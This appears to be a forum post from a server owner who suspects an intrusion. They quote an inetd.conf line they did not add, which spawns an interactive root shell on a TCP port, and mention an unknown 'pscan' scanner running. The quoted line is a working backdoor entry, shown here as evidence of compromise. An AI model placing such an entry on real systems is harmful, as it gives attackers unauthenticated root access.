Help?!?

Ok, I would not of thought of this 2 weeks ago, but since I have been reading thse forums, Im not ruling it out. My server is on a IP but that is it, not yet made public, over the last day I noticed something out of place. I saw this in inetd.conf

96534 stream tcp nowait root /bin/sh sh -i

I DO not remember adding that. I recently installed snort and trip wire, but I dont think those put it there.
sh is a link to bash. I noticed it running yesterday, also running was pscan, I never remember running that, its located in /usr/src/redhat/SPECS/abind/pscan

Any Ideas on any this? I checked the last log, I have tried some other things and just cant find anything.

 

 

 

 

Top